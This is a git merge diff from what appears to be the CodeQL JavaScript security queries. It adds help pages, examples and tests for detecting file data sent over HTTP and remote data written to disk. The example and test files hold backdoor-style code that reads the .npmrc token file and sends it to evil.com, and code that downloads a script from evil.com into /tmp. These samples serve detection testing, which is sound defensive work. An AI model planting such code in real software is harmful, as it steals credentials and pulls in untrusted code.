Merge rc/1.19 into next.

2026-04-28 18:25:24 +02:00 · 2018-12-07 12:31:51 +00:00
parent 6beb396d93 cb93017d98
commit fcfab26267
38 changed files with 508 additions and 262 deletions
--- a/javascript/ql/src/Declarations/MixedStaticInstanceThisAccess.ql
+++ b/javascript/ql/src/Declarations/MixedStaticInstanceThisAccess.ql
@@ -35,7 +35,6 @@ where
    fromKind = getKind(fromMethod) and
    toKind = getKind(toMethod) and
    toKind != fromKind and
-    not toKind = fromKind and

    // exceptions
    not (
--- a/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp
+++ b/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp
@@ -0,0 +1,37 @@
+<!DOCTYPE qhelp PUBLIC
+"-//Semmle//qhelp//EN"
+"qhelp.dtd">
+<qhelp>
+
+<overview>
+  <p>
+    Sending local file system data to a remote URL without further
+    validation risks uncontrolled information exposure, and may be
+    an indication of malicious backdoor code that has been
+    implanted into an otherwise trusted code base.
+  </p>
+</overview>
+
+<recommendation>
+  <p>
+    Examine the highlighted code closely to ensure that it is
+    behaving as intended.
+  </p>
+</recommendation>
+
+<example>
+  <p>
+    The following example is adapted from backdoor code that was identified in two
+    popular npm packages. It reads the contents of the <code>.npmrc</code> file
+    (which may contain secret npm tokens) and sends it to a remote server by
+    embedding it into an HTTP request header.
+  </p>
+  <sample src="examples/FileAccessToHttp.js"/>
+</example>
+
+<references>
+  <li>ESLint Blog: <a href="https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes">Postmortem for Malicious Packages Published on July 12th, 2018</a>.</li>
+  <li>OWASP: <a href="https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure">Sensitive Data Exposure</a>.</li>
+  <li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
+</references>
+</qhelp>
--- a/javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js
+++ b/javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js
@@ -0,0 +1,10 @@
+var fs = require("fs"),
+    https = require("https");
+
+var content = fs.readFileSync(".npmrc", "utf8");
+https.get({
+  hostname: "evil.com",
+  path: "/upload",
+  method: "GET",
+  headers: { Referer: content }
+}, () => { });
--- a/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp
+++ b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp
@@ -0,0 +1,43 @@
+<!DOCTYPE qhelp PUBLIC
+"-//Semmle//qhelp//EN"
+"qhelp.dtd">
+<qhelp>
+
+<overview>
+  <p>
+    Storing user-controlled data on the local file system without
+    further validation allows arbitrary file upload, and may be
+    an indication of malicious backdoor code that has been
+    implanted into an otherwise trusted code base.
+  </p>
+</overview>
+
+<recommendation>
+  <p>
+    Examine the highlighted code closely to ensure that it is
+    behaving as intended.
+  </p>
+</recommendation>
+
+<example>
+  <p>
+    The following example shows backdoor code that downloads data
+    from the URL <code>https://evil.com/script</code>, and stores
+    it in the local file <code>/tmp/script</code>.
+  </p>
+
+  <sample src="examples/HttpToFileAccess.js"/>
+
+  <p>
+    Other parts of the program might then assume that since
+    <code>/tmp/script</code> is a local file its contents can be
+    trusted, while in fact they are obtained from an untrusted
+    remote source.
+  </p>
+</example>
+
+<references>
+  <li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
+  <li>OWASP: <a href="https://www.owasp.org/index.php/Unrestricted_File_Upload">Unrestricted File Upload</a>.</li>
+</references>
+</qhelp>
--- a/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql
+++ b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql
@@ -6,6 +6,7 @@
 * @id js/http-to-file-access
 * @tags security
 *       external/cwe/cwe-912
+ *       external/cwe/cwe-434
 */

 import javascript
--- a/javascript/ql/src/Security/CWE-912/examples/HttpToFileAccess.js
+++ b/javascript/ql/src/Security/CWE-912/examples/HttpToFileAccess.js
@@ -0,0 +1,8 @@
+var https = require("https");
+var fs = require("fs");
+
+https.get('https://evil.com/script', res => {
+  res.on("data", d => {
+    fs.writeFileSync("/tmp/script", d)
+  })
+});
--- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected
@@ -1,4 +1,9 @@
 nodes
+| FileAccessToHttp.js:4:5:4:47 | content |
+| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") |
+| FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} |
+| FileAccessToHttp.js:9:12:9:31 | { Referer: content } |
+| FileAccessToHttp.js:9:23:9:29 | content |
 | bufferRead.js:12:13:12:43 | buffer |
 | bufferRead.js:12:22:12:43 | new Buf ... s.size) |
 | bufferRead.js:13:53:13:52 | buffer |
@@ -53,6 +58,10 @@ nodes
 | sentAsHeaders.js:24:31:24:53 | "http:/ ... content |
 | sentAsHeaders.js:24:47:24:53 | content |
 edges
+| FileAccessToHttp.js:4:5:4:47 | content | FileAccessToHttp.js:9:23:9:29 | content |
+| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content |
+| FileAccessToHttp.js:9:12:9:31 | { Referer: content } | FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} |
+| FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } |
 | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:53:13:52 | buffer |
 | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer |
 | bufferRead.js:13:53:13:52 | buffer | bufferRead.js:15:26:15:31 | buffer |
@@ -100,6 +109,7 @@ edges
 | sentAsHeaders.js:24:31:24:53 | "http:/ ... content | sentAsHeaders.js:24:20:24:55 | { Refer ... ntent } |
 | sentAsHeaders.js:24:47:24:53 | content | sentAsHeaders.js:24:31:24:53 | "http:/ ... content |
 #select
+| FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | $@ flows directly to outbound network request | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | File data |
 | bufferRead.js:33:21:33:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:33:21:33:28 | postData | $@ flows directly to outbound network request | bufferRead.js:12:22:12:43 | new Buf ... s.size) | File data |
 | googlecompiler.js:38:18:38:26 | post_data | googlecompiler.js:44:54:44:57 | data | googlecompiler.js:38:18:38:26 | post_data | $@ flows directly to outbound network request | googlecompiler.js:44:54:44:57 | data | File data |
 | readFileSync.js:26:18:26:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:26:18:26:18 | s | $@ flows directly to outbound network request | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | File data |
--- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js
@@ -0,0 +1,10 @@
+var fs = require("fs"),
+    https = require("https");
+
+var content = fs.readFileSync(".npmrc", "utf8");
+https.get({
+  hostname: "evil.com",
+  path: "/upload",
+  method: "GET",
+  headers: { Referer: content }
+}, () => { });
--- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected
@@ -1,15 +1,19 @@
 nodes
+| HttpToFileAccess.js:5:18:5:18 | d |
+| HttpToFileAccess.js:6:37:6:37 | d |
 | tst.js:15:26:15:26 | c |
 | tst.js:16:33:16:33 | c |
 | tst.js:19:25:19:25 | c |
 | tst.js:23:27:23:26 | c |
 | tst.js:24:22:24:22 | c |
 edges
+| HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d |
 | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c |
 | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c |
 | tst.js:15:26:15:26 | c | tst.js:23:27:23:26 | c |
 | tst.js:23:27:23:26 | c | tst.js:24:22:24:22 | c |
 #select
+| HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | $@ flows to file system | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data |
 | tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data |
 | tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data |
 | tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data |
--- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js
+++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js
@@ -0,0 +1,8 @@
+var https = require("https");
+var fs = require("fs");
+
+https.get('https://evil.com/script', res => {
+  res.on("data", d => {
+    fs.writeFileSync("/tmp/script", d)
+  });
+});
--- a/javascript/ql/test/query-tests/Security/CWE-912/fs-writeFile-externs.js
+++ b/javascript/ql/test/query-tests/Security/CWE-912/fs-writeFile-externs.js
@@ -35,7 +35,7 @@
 * @externs
 * @fileoverview Definitions for module "fs"
 */
- var fs = {};
+var fs = {};

 /**
 * @param {string} filename
@@ -44,7 +44,8 @@
 * @return {void}
 */
 fs.writeFile = function(filename, data, callback) {};
- /**
+
+/**
 * @param {string} filename
 * @param {*} data
 * @param {{encoding: string, mode: number, flag: string}} options
@@ -52,11 +53,11 @@ fs.writeFile = function(filename, data, callback) {};
 * @return {void}
 */
 fs.writeFile = function(filename, data, options, callback) {};
- /**
+
+/**
 * @param {string} filename
 * @param {*} data
- * @param {{encoding: string, mode: string, flag: string}} options
- * @param {(function(NodeJS.ErrnoException): void)=} callback
+ * @param {{encoding: string, mode: string, flag: string}=} options
 * @return {void}
 */
-fs.writeFile = function(filename, data, options, callback) {};
+fs.writeFileSync = function(filename, data, options) {};